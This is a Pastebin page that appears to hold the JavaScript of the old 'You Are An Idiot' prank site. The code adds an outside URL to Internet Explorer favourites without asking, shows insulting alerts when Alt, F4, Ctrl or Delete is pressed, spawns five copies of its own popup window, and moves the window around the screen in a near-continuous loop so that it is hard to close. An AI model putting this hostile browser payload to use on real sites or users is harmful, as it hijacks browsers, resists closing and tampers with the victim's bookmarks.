Advertisement
Guest User

YouAreAnIdiot.org's Original Javascript code!

a guest
Jun 7th, 2015
5,821
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.79 KB | None | 0 0
  1. function bookmark() {
  2. if ((navigator.appName == "Microsoft Internet Explorer")
  3. && (parseInt(navigator.appVersion) >= 4))
  4. {
  5. var url="http://xander6669.com/girls/index.php";
  6. var title="Idiot!";
  7. window.external.AddFavorite(url,title);
  8. }
  9. }
  10.  
  11. function altf4key() { if (event.keyCode == 18 || event.keyCode == 115) alert("You are an idiot!"); }
  12. function ctrlkey() { if (event.keyCode == 17) alert("You are an idiot!"); }
  13. function delkey() { if (event.keyCode == 46) alert("You are an idiot!"); }
  14.  
  15. var xOff = 5;
  16. var yOff = 5;
  17. var xPos = 400;
  18. var yPos = -100;
  19. var flagRun = 1;
  20.  
  21. function openWindow(url){
  22. aWindow = window.open(url,"_blank",
  23. 'menubar=no,status=no,toolbar=noresizable=no,width=180,height=175,titlebar=no,alwaysRaised=yes');
  24. }
  25.  
  26. function procreate(){
  27. openWindow('index.htm');
  28. openWindow('index.htm');
  29. openWindow('index.htm');
  30. openWindow('index.htm');
  31. openWindow('index.htm');
  32. }
  33.  
  34. function newXlt(){
  35. xOff = Math.ceil( 0 - 6 * Math.random()) * 5 - 10 ;
  36. window.focus()}
  37.  
  38. function newXrt(){
  39. xOff = Math.ceil(7 * Math.random()) * 5 - 10 ;
  40. }
  41.  
  42. function newYup(){
  43. yOff = Math.ceil( 0 - 6 * Math.random()) * 5 - 10 ;
  44. }
  45.  
  46. function newYdn(){
  47. yOff = Math.ceil( 7 * Math.random()) * 5 - 10 ;
  48. }
  49. function fOff(){
  50. flagrun = 0;
  51. }
  52.  
  53. function playBall(){
  54. xPos += xOff;
  55. yPos += yOff;
  56. if (xPos > screen.width-175){
  57. newXlt();
  58. }
  59. if (xPos < 0){
  60. newXrt();
  61. }
  62. if (yPos > screen.height-100){
  63. newYup();
  64. }
  65. if (yPos < 0){
  66. newYdn();
  67. }
  68. if (flagRun == 1){
  69. window.moveTo(xPos,yPos);
  70. setTimeout('playBall()',1);
  71. }
  72. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement